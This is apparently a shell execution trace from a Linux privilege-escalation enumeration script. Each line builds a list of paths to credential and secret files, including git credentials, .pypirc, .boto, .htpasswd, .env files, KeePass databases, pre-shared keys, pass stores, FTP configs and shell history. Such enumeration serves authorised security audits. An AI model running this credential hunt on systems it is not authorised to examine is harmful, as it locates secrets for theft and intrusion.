+ PSTORAGE_FAT_FREE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "fat\.config$" | sort | uniq | head -n 70)
+ PSTORAGE_SHODAN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "api_key$" | sort | uniq | head -n 70)
+ PSTORAGE_CONCOURSE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.flyrc$|concourse-auth$|concourse-keys$" | sort | uniq | head -n 70)
+ PSTORAGE_BOTO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.boto$" | sort | uniq | head -n 70)
+ PSTORAGE_SNMP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_PYPIRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
+ PSTORAGE_POSTFIX=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "postfix$" | sort | uniq | head -n 70)
+ PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
+ PSTORAGE_HISTORY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*_history.*$" | sort | uniq | head -n 70)
+ PSTORAGE_HTTP_CONF=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_HTPASSWD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
+ PSTORAGE_LDAPRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
+ PSTORAGE_ENV=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'example' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.env.*$" | sort | uniq | head -n 70)
+ PSTORAGE_MSMTPRC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
+ PSTORAGE_INFLUXDB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "influxdb\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_ZABBIX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "zabbix_server\.conf$|zabbix_agentd\.conf$|zabbix$" | sort | uniq | head -n 70)
+ PSTORAGE_GITHUB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
+ PSTORAGE_SVN=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.svn$" | sort | uniq | head -n 70)
+ PSTORAGE_KEEPASS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
+ PSTORAGE_PRE_SHARED_KEYS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.psk$" | sort | uniq | head -n 70)
+ PSTORAGE_PASS_STORE_DIRECTORIES=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.password-store$" | sort | uniq | head -n 70)
+ PSTORAGE_FTP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "vsftpd\.conf$|.*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70)
